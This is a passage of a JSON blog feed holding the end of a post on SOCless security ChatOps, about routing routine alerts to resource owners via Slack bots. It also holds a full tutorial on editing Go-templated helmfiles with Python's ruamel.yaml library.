dark:bg-dark-bg-primary\"><section class=\"dark:text-dark-text-primary dark:bg-dark-bg-primary slack_blocks_to_jsx relative flex gap-2 w-full max-w-[600px] styles_enabled\"><div class=\"shrink-0\"><img src=\"https://eliasa.link/img/bot_regular_icon_204591.svg\" class=\"w-9 h-9\" alt=\"Security Bot\"></div><div class=\"flex flex-col w-full\"><div class=\"flex gap-[5px] items-center w-full slack_blocks_to_jsx--header\"><h3 class=\"font-black text-[15px] dark:text-dark-text-primary\">Security Bot</h3><div class=\"h-[14px] w-[27px] leading-[12.5px] py-[1px] px-[3px] uppercase text-[10px] text-black-primary/[0.7] bg-black-primary/[0.13] dark:text-dark-text-primary/[0.7] dark:bg-dark-text-primary/[0.13] font-semibold rounded-[2px] text-center\">APP</div><div class=\"text-xs text-black-secondary dark:text-dark-text-secondary uppercase leading-[17.6px]\">20:32</div></div><div class=\"slack_blocks_to_jsx--blocks\"><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mt-2 mb-1 text-primary slack_blocks_to_jsx__section flex w-full text-black-primary dark:text-dark-text-primary\"><div class=\"grow\"><div class=\"flex flex-col gap-3\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>A new API key was created for </span></span><code class=\"slack_code_inline inline-block px-1 text-xs whitespace-pre-wrap break-words rounded-[3px] border border-black-primary/[0.13] dark:border-dark-code-border bg-black-primary/[0.04] dark:bg-dark-code-bg text-red-primary dark:text-dark-text-primary font-mono\">payments-api</code><span><span>. Was this expected?</span></span></p></div></div></div></div><div class=\"ml-2 mb-1 relative shrink-0\"></div></div></div><div class=\"text-base slack_blocks_to_jsx--block_wrapper break-words font-normal dark:text-dark-text-primary dark:bg-dark-bg-primary\"><div class=\"mb-2 text-primary flex w-full text-black-primary dark:text-dark-text-primary items-center slack_blocks_to_jsx__actions\"><div class=\"flex flex-wrap\"><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-green-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>Yes</span></span></p></div></div></button></div><div class=\"mt-2 mr-2\"><button type=\"button\" class=\"px-2 pt-0 pb-[1px] text-small h-[28px] min-w-[56px] border rounded whitespace-nowrap font-semibold slack_blocks_to_jsx__button_element bg-red-primary text-white-primary\"><div class=\"dark:text-dark-text-primary\"><div><p><span><span>No</span></span></p></div></div></button></div></div></div></div></div></div></section></div></div>\n<p>A confirmation closes the event. An unexpected response can trigger key revocation and an investigation.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"key-requirements\">Key requirements<a href=\"https://eliasa.link/blog/socless-security-chatops/#key-requirements\" class=\"hash-link\" aria-label=\"Direct link to Key requirements\" title=\"Direct link to Key requirements\" translate=\"no\">​</a></h2>\n<p>For security interactions to become part of an automated workflow, several things need to work well.</p>\n<ul>\n<li class=\"\"><strong>Mature detections</strong> — the team should understand what the signal means and what constitutes a meaningful event.</li>\n<li class=\"\"><strong>Defined response plans</strong> — there should be a clear understanding of who should respond and what actions should be taken.</li>\n<li class=\"\"><strong>Good ownership data</strong> — if you don't know who owns an application, device, repository or cloud resource, you cannot delegate the investigation.</li>\n<li class=\"\"><strong>Reliable APIs</strong> — security tools need to expose APIs so the workflow can retrieve context and perform actions.</li>\n<li class=\"\"><strong>Strong authentication and authorization</strong> — especially for workflows that allow users to approve, deny, or trigger security actions.</li>\n<li class=\"\"><strong>Auditing</strong> — every decision and automated action should be recorded for accountability and investigation.</li>\n<li class=\"\"><strong>Someone should own the detection</strong> - If an engineer writes a detection, there should be a clear owner for its quality, response plan and operational health. Otherwise, decentralized alerting can simply move the burden around without actually reducing it.</li>\n</ul>\n<p>Automating a noisy detection will only create a more efficient way of annoying people.</p>\n<hr>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-opportunity-for-security-teams\">The opportunity for security teams<a href=\"https://eliasa.link/blog/socless-security-chatops/#the-opportunity-for-security-teams\" class=\"hash-link\" aria-label=\"Direct link to The opportunity for security teams\" title=\"Direct link to The opportunity for security teams\" translate=\"no\">​</a></h2>\n<p>The value of this approach isn't simply reducing the number of alerts reaching the SOC.</p>\n<p>It is about changing <strong>who handles security decisions and where that work happens</strong>.</p>\n<p>Security teams don't need to own every step of every investigation. When the right context already exists with a user, system owner, or another team, the workflow can take the question directly to them.</p>\n<p>The security team defines the detection, the policy and the response. The owner provides the context. Automation handles the predictable parts.</p>\n<p>Sometimes the most effective security workflow is simply to <strong>ask the right person the right question at the right time</strong> and let the workflow take care of what happens next.</p>\n<p>That is the opportunity I see in SOCless: moving routine security operations away from centralized triage and closer to the people and systems that have the context to make the decision.</p>",
            "url": "https://eliasa.link/blog/socless-security-chatops/",
            "title": "SOCless: Security ChatOps",
            "summary": "How SlackOps can reduce unnecessary SOC triage by moving routine security decisions closer to the people who have the context.",
            "date_modified": "2024-05-07T00:00:00.000Z",
            "tags": [
                "security",
                "soc",
                "slackops",
                "automation",
                "chatops"
            ]
        },
        {
            "id": "https://eliasa.link/blog/helmfile-yaml/",
            "content_html": "<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"editing-helmfiles-with-ruamelyaml-in-python\">Editing helmfiles with ruamel.yaml in Python<a href=\"https://eliasa.link/blog/helmfile-yaml/#editing-helmfiles-with-ruamelyaml-in-python\" class=\"hash-link\" aria-label=\"Direct link to Editing helmfiles with ruamel.yaml in Python\" title=\"Direct link to Editing helmfiles with ruamel.yaml in Python\" translate=\"no\">​</a></h2>\n<p>Managing helmfiles in python can be tricky due to the presence of Go templates in them, which are not compatible with the standard YAML parsers. This guide demonstrates how to ignore the curly braces in helmfiles and edit them using the <code>ruamel.yaml</code> python library.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"the-issue\">The issue<a href=\"https://eliasa.link/blog/helmfile-yaml/#the-issue\" class=\"hash-link\" aria-label=\"Direct link to The issue\" title=\"Direct link to The issue\" translate=\"no\">​</a></h3>\n<p>Helmfiles contain Go template syntax like <code>{{ .Value.example }}</code>. And the existing yaml parser cannot correctly interpret this syntax is it is not a YAML syntax.</p>\n<p>Let's try dumping this line using the <code>ruamel.yaml</code> library:</p>\n<div class=\"language-yaml codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-yaml codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> </span><span class=\"token key atrule\" style=\"color:#00a4db\">host</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"> .Values.domain </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>This syntax is being interpreted it as a <code>key</code> with a null <code>value</code>, resulting in:</p>\n<div class=\"language-yaml codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-yaml codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> </span><span class=\"token key atrule\" style=\"color:#00a4db\">host</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"> </span><span class=\"token key atrule\" style=\"color:#00a4db\">.Values.domain</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token null important\">null</span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token null important\">null</span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>This makes the task of automating the construction of helmfiles difficult.\nI have chosen 3 approaches for dealing with this issue.</p>\n<ol>\n<li class=\"\">\n<p>The most easy way is to prerender the helmfile using <code>helm</code> before the processing.</p>\n</li>\n<li class=\"\">\n<p>Introduce placeholders in order to keep the YAML syntax valid.</p>\n</li>\n<li class=\"\">\n<p>Use <code>ruamel.yaml</code> library's support of <code>jinja2</code> templates.</p>\n</li>\n</ol>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"strategy-1-pre-rendering-the-helmfile\">Strategy 1: Pre-Rendering the helmfile<a href=\"https://eliasa.link/blog/helmfile-yaml/#strategy-1-pre-rendering-the-helmfile\" class=\"hash-link\" aria-label=\"Direct link to Strategy 1: Pre-Rendering the helmfile\" title=\"Direct link to Strategy 1: Pre-Rendering the helmfile\" translate=\"no\">​</a></h3>\n<p>The simplest solution is to pre-render the helmfile before processing. This will replace the Go templates with actual values and make the YAML file valid for the parsers.</p>\n<p>If prerendeing is not a solution for you then follow the next strategy.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"strategy-2-use-placeholders\">Strategy 2: Use placeholders<a href=\"https://eliasa.link/blog/helmfile-yaml/#strategy-2-use-placeholders\" class=\"hash-link\" aria-label=\"Direct link to Strategy 2: Use placeholders\" title=\"Direct link to Strategy 2: Use placeholders\" translate=\"no\">​</a></h3>\n<p>Temporarily replace the <code>{{. Go.templates }}</code> to make all the editing you need and then bring them back.</p>\n<h4 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"step-1-write-functions-to-unescape-the-go-syntax\">Step 1: Write functions to (un)escape the Go syntax<a href=\"https://eliasa.link/blog/helmfile-yaml/#step-1-write-functions-to-unescape-the-go-syntax\" class=\"hash-link\" aria-label=\"Direct link to Step 1: Write functions to (un)escape the Go syntax\" title=\"Direct link to Step 1: Write functions to (un)escape the Go syntax\" translate=\"no\">​</a></h4>\n<p>Here are the methods for the respective replacings:</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">escape_go_templates</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">content</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> re</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">sub</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">r\"\\s{{(.*?)}}\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">r\" __GO_TEMPLATE__\\1__GO_TEMPLATE__\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> content</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">unescape_go_templates</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">content</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> re</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">sub</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">r\"__GO_TEMPLATE__(.+?)__GO_TEMPLATE__\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">r\"{{\\1}}\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> content</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></div></code></pre></div></div>\n<p>Once you have a valid <code>YAML</code> document, make the changes you want then revert the Go templates using the unescape_go_templates function.</p>\n<h4 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"step-2-process-the-document\">Step 2: Process the document<a href=\"https://eliasa.link/blog/helmfile-yaml/#step-2-process-the-document\" class=\"hash-link\" aria-label=\"Direct link to Step 2: Process the document\" title=\"Direct link to Step 2: Process the document\" translate=\"no\">​</a></h4>\n<p>This is an example of helmfile editing following this approach.</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">process_helmfile</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">helmfile_path</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> </span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">with</span><span class=\"token plain\"> </span><span class=\"token builtin\">open</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">helmfile_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"r\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">as</span><span class=\"token plain\"> helm_file</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        helm_content </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> helm_file</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">read</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        helmfile_escaped </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> escape_go_templates</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">helm_content</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    yaml_documents </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> yaml</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">load</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">helmfile_escaped</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> doc </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> yaml_documents</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token comment\" style=\"color:#999988;font-style:italic\"># Example modification:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"releases\"</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> doc</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            doc</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"releases\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"name\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"my-service\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">with</span><span class=\"token plain\"> </span><span class=\"token builtin\">open</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">helmfile_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"w\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">as</span><span class=\"token plain\"> updated_helmfile</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        updated_content </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> yaml</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">dump</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">yaml_documents</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        final_content </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> unescape_go_templates</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">updated_content</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        updated_helmfile</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">write</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">final_content</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\">  </span><br></div></code></pre></div></div>\n<p>The last way of editing helmfiles and the one that I prefer is to use <code>ruamel.yaml</code> and it's support of <code>jinja2</code>.</p>\n<h3 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"strategy-3-utilize-ruamelyaml-and-jinja2-templates\">Strategy 3: Utilize ruamel.yaml and jinja2 templates<a href=\"https://eliasa.link/blog/helmfile-yaml/#strategy-3-utilize-ruamelyaml-and-jinja2-templates\" class=\"hash-link\" aria-label=\"Direct link to Strategy 3: Utilize ruamel.yaml and jinja2 templates\" title=\"Direct link to Strategy 3: Utilize ruamel.yaml and jinja2 templates\" translate=\"no\">​</a></h3>\n<p>The <code>{{. Go.templates }}</code> used in helmfiles have a similar purpose and syntax with <code>jinja2</code>, which is a templating engine for Python. Both use the concept of placeholders <code>{{ }}</code>.</p>\n<p>Install the ruamel.yaml['jinja2] library.\nConfigure ruamel.yaml instance so it ignores the <code>jinja2</code>.\nChange the default value of width parameter.</p>\n<div class=\"language-py codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-py codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">yaml </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> YAML</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">typ</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"jinja2\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">yaml</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">width </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">4096</span><br></div></code></pre></div></div>\n<p>In case you want to prevent <code>ruamel.yaml</code> of adding single quotes to the Go placeholders <code>'{{ }}'</code> you can write a custom representer function for that.</p>\n<div class=\"theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success\"><div class=\"admonitionHeading_Gvgb\"><span class=\"admonitionIcon_Rf37\"><svg viewBox=\"0 0 12 16\"><path fill-rule=\"evenodd\" d=\"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z\"></path></svg></span>tip</div><div class=\"admonitionContent_BuS1\"><p>Everything is an object in Python! So aren't functions as well? You can create a function and pass it as an argument to another function. An example of this is shown below. <a href=\"https://dev.to/mahmoudessam/python-tricks-part-1-5ci3\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">Read more</a>.</p></div></div>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">_represent_str</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">representer</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> SafeRepresenter</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> data</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">|</span><span class=\"token plain\"> </span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> ScalarNode</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> data </span><span class=\"token keyword\" style=\"color:#00009f\">and</span><span class=\"token plain\"> data</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">startswith</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"{{\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> representer</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">represent_scalar</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"tag:yaml.org,2002:str\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> data</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> style</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"-\"</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> representer</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">represent_str</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">data</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></div></code></pre></div></div>\n<p>This function,<code>_represent_str</code>, customizes how strings are represented in your YAML instance. It specifically addresses how to handle strings that start with <code>{{</code>.</p>\n<p>When encountering such strings, the function employs a special YAML tag, <code>tag:yaml.org,2002:str</code>, to ensure these strings are output without additional quotation marks.</p>\n<p>Add this function as an argument to your yaml representer and the default behavor of putting quotes to <code>{{. Go.templates }}</code> will be modified.</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">yaml</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">representer</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">add_representer</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> _represent_str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></div></code></pre></div></div>\n<p>Now you can edit your helmfile as a normal YAML document.\nHappy automation!</p>",
            "url": "https://eliasa.link/blog/helmfile-yaml/",
            "title": "Edit Helmfiles with Python",
            "summary": "How to edit helmfile with Python",
            "date_modified": "2023-12-15T00:00:00.000Z",
            "tags": [
                "yaml",
                "helm",
                "python",
                "automation"
            ]
        },
        {
